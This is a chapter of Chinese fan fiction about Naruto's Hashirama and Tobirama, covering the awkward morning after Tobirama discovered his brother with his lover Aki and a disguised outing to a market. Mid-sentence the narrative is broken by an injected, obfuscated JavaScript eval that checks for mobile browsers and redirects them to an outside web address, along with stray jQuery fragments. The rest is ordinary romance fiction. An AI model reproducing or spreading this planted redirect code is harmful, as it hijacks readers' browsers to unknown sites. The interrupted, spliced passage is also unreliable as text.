翌日的族内会议上，气氛透着一种难以言喻的微妙。


    千手柱间坐在主位，显得有些心不在焉，目光时不时飘向对面面无表情的弟弟，脸上竟罕见地透出几分不易察觉的尴尬。


    整个会议过程中，他几乎没听进去几句，满脑子都是昨晚扉间那双冰冷震惊的眼眸，以及自己当时下意识的驱赶反应。


    唉……


    会议一结束，众人散去，千手柱间就忍不住撑着下巴，重重地叹了口气。他原本盘算着今天让扉间帮忙处理公务，自己好带秋出去玩，可现在……这话要怎么说得出口？


    正准备起身离开的千手扉间，听到兄长这声格外响亮的叹息，额角几乎要蹦出一个井字。他停下脚步，面无表情地转向柱间，那双赤红的眼眸里看不出丝毫情绪，仿佛昨晚那个失控逃离的人根本不是他。


    “你想说什么？兄长。”他的声音冷硬，直接砸向柱间。


    千手柱间被这直白的质问弄得一愣，下意识地眨了眨眼，非常识趣地绝口不提昨晚任何一个字。他挠了挠脸颊，眼神飘忽地看向别处，语气带着明显的底气不足：“扉间……今天你能不能……帮我处理一下公务？”


    若是往常，千手扉间必定会立刻冷声驳回，勒令兄长负起族长的责任，不要总想着偷懒。


    但今天，他却沉默了。


    那双锐利的红眸审视着兄长脸上每一丝不自然的神情，然后，他出乎意料地没有直接拒绝，反而用一种近乎审问的、冰冷的语气反问道：“有什么事吗？”


    千手柱间顿时语塞。他张了张嘴，支支吾吾地，视线几乎不敢与扉间对视：“……有点私事。”


    “私事？”千手扉间重复了一遍这两个字，语调平直，却带着一种无形的压力。他垂在身侧的手不自觉地握紧成拳，昨晚那令人窒息的一幕幕不受控制地涌入脑海。兄长维护的姿态、秋缠绕的手臂、那声软糯的催促……


    一股尖锐的怒意混合着某种难以言喻的酸涩猛地窜上心头，几乎要冲破他冰冷的表象。


    但他最终还是将其硬生生压了下去，只是周身的气息变得更加凌厉。他不再追问，也不再看柱间那副明显心虚的模样，只是转过身，留下一个冷硬的背影。


    “……明天的紧急任务，不要忘记了。”算是应允。


    千手柱间看着弟弟毫不犹豫离开的背影，脸上闪过一丝复杂的愧疚。


    他挠了挠头，最终还是选择追了上去。


    “扉间！”


    千手扉间的脚步没有丝毫停顿。


    “扉间！等一下！”柱间加大步伐，一把拉住了弟弟的手臂。


    该死！


    一段极其短暂的、却无比清晰的回忆猛地刺入千手扉间的意识。


    昨晚，他如同丧家之犬般逃离那间充斥着旖旎气息的居室后，并未回到自己的房间，而是径直冲入了深夜无人的训练场。


    漆黑的夜色中，所有无法宣之于口的震惊、怒火、以及那丝令他自我厌恶的、不该有的悸动，全都化作了最原始暴力的发泄。


    直到体力耗尽，查克拉近乎枯竭，他才精疲力尽地停下，任由冰冷的夜风吹拂着他汗湿的银发和剧烈起伏的胸膛。所有的激烈情绪，仿佛也随着那近乎自虐般的消耗，被强行压入了最深沉的冰封之下。


    所以他此刻才能站在这里，维持着这样面色如常的交流。


    千手扉间终于停下，却没有回头，只是侧过脸，用眼角的余光冰冷地瞥着兄长抓着自己胳膊的手，声音里不含一丝温度，平稳得可怕：“还有什么事。兄长。”


    千手柱间硬着头皮，语气放缓了些：“那个……关于昨晚，秋不知道……”


    “昨晚什么事？”千手扉间猛地打断他，终于转过头，“我什么都不记得了。兄长最好也忘了吧。”


    千手柱间张了张嘴，最终像是泄了气一般，松开了手，声音低了下去：“……都是我的错，扉间。你不要对他抱有其他偏见。”


    原本对于他们之间的交往千手扉间就持有反对的态度，现在这种情况，恐怕更是厌恶至极。


    千手扉间只是再次转过身，握紧拳头。


    “兄长，你曾亲口承诺会护他周全。你如此强大，我信任你可以……但是，若昨夜的人不是我，你又该如何应对？若当时被旁人撞破，他的名声，千手一族的声誉，又当如何？”


    “兄长、如果你……”话语至此，他喉头滚动了一下，最终猛地闭上眼，将最后那句诘问死死压回心底。


    “公务我会处理。”他背对着柱间，声音平稳得没有一丝起伏，“去做你的私事吧。”


    说完，他便头也不回地大步离开，将千手柱间独自留在空旷的回廊里，脸上交织着复杂难言的情绪。


    果然……还是生气了啊。


    早知道布上结界好了，都是那瓶酒的错……


    不过秋实在太可爱，一时间昏了头也完全可以原谅吧？


    柱间无奈地叹了口气，揉了揉眉心。但一想到秋还在等着他，那份愧疚感又被强烈的期待压了下去。


    算了，扉间的话，晚上回来再想想办法吧。反正他会自己调节好的。


    如此想着，千手柱间调整了一下心情，转身朝着与千手扉间相反的方向走去。


    而早已走远的千手扉间，在确定彻底脱离兄长的视线后，脚步几不可察地顿了一瞬，垂在身侧的拳头死死攥紧，指节因为过度用力而泛出青白色。


    私事……


    约会？


    他闭上眼，胸口再次隐隐作痛。但当他再睁开眼时，眼底已是一片深不见底的死寂，所有波动再次被强行镇压。


    他不再停留，以更快的速度走向办公室，将所有纷乱的思绪彻底隔绝在外。


    千手族地内，秋有些不适地抬手，指尖拂过耳后利落的短发，触感陌生而新奇。作为一位本该消失的贵族，自然不能再以原本的样貌示人。


    因此，千手柱间任务一归来，便兴致勃勃地拉着秋开始了伪装大业。


    这位强大的忍者此刻仿佛找到了什么新奇有趣的游戏，亲自操刀，将秋那头长发变短，仔细地他戴上能遮掩淡金眸色的深色隐形眼镜，甚至还在他脸颊两侧画上了几道干练的忍者油彩。身上的衣服被换成了一身利于行动的深色简便和服，就连仪态也在柱间的短暂调整下，褪去了那份显而易见的孱弱。


    秋站在镜前，怔然地望着镜中那个全然陌生的的面庞，眨了眨眼。


    “怎么样？”千手柱间带着灿烂的笑容凑过来，下巴亲昵地搁在秋的肩上，对着镜子里的人像露出满意十足的表情，“完美！这下绝对没人能认出你了！”他得意地摸了摸自己的下巴，随即侧过头，在对方唇上亲了一下，“好了！这下可以放心出去了！”


    正当他拉着改头换面的秋走出房间时，恰好在廊下遇到了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371490|183158||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    处理完公务返回的千手扉间。


    银发的忍者脚步顿住，锐利的红眸微微眯起，瞬间落在兄长身后那个陌生的、气息却有一丝莫名违和感的“忍者”身上。


    他注意到了对方姿态中那丝难以完全掩饰的僵硬与不协调。


    哼，总算还没蠢到直接把原模原样的人带出去。


    他心下冷嗤一声，面上却不动声色，只是抱着手臂，如同冰冷的立柱般停在原地，审视着两人。


    “哦！扉间！”千手柱间笑着打招呼，仿佛完全忘记了清晨时分两人之间的尴尬，“公务都处理完了吗？”他努力在秋面前维持着一切如常的兄长模样。


    千手扉间目光从那陌生“忍者”身上淡淡扫过，并未过多停留，随即面无表情地迎上兄长的视线，极其冷淡地应了一声：“嗯。”


    那语气平稳无波，听不出任何情绪，仿佛真的完全没有认出兄长身边那个精心伪装过的人究竟是谁。


    他没有再多说一个字，也没有丝毫停留，径直从两人身边走过，头也不回地离开了回廊。


    直到弟弟的背影消失在转角，千手柱间才真正松了一口气，高兴地对秋说：“看吧！连扉间都没认出来！这下绝对万无一失了！”


    ────


    两人并未使用忍者高速行进的方式，而是如同最普通的旅人或小贩，不紧不慢地走在通往附近小镇的路上。柱间似乎很享受这个过程，他时不时侧头看看身边模样大变的秋，眼里满是新奇和得意。


    “感觉怎么样？”他压低了些声音，“是不是和以前完全不一样了？”


    秋点了点头，努力适应着短发的清爽和深色镜片带来的细微色差。他学着柱间的样子，稍微放开了一些步伐，让姿态更显得随意。虽然动作仍有些许不易察觉的生硬，但在柱间看来，这已经是一次成功的伪装了。


    “柱间很擅长这些。”秋轻声回应。


    “哈哈哈毕竟以前出任务也需要经常变装嘛！”柱间爽朗地笑着，随即又凑近些，用更小的声音说，“不过现在别叫我柱间了，就叫……嗯、叫大哥好了！”他为自己这个临时的主意感到颇为满意。


    小镇的喧嚣逐渐传入耳中。与千手族地的肃穆井然不同，这里充满了鲜活甚至有些粗糙的生命力。


    柱间一进入这里，显得更加自在放松。他熟门熟路地带着秋在各个摊位间穿梭。


    “来来，尝尝这个！”他在一个烤团子的摊贩前停下，迫不及待地塞了一串给秋，“这家味道可是最好的！”


    秋学着他的样子，小心地咬了一口，眼睛亮了亮：“好吃。”


    “怎么样？没骗你吧。”柱间看着他的反应，又指向另一边，“那边还有卖…”


    他的话音未落，旁边一个卖陶器的小摊前似乎发生了些许争执，一个顾客不小心碰倒了一件陶器，碎裂声和摊主的惊呼声同时响起。


    几乎是本能反应，千手柱间的脚步瞬间停顿，身体微不可察地调整了重心，将秋护在身后，目光锐利地扫向声源处，那强大的气场有一瞬间的流露，如同出鞘的利刃。


    但下一秒，当他判断并无任何威胁后，凌厉的气息瞬间收敛得无影无踪。他甚至还顺手拉了一下下意识有些紧张的秋，对他露出一个“没事了”的安抚笑容。


    “走吧，这里还有好多有趣的东西。”他极其自然地转换了话题，继续兴致高昂地带着秋走向下一个目标。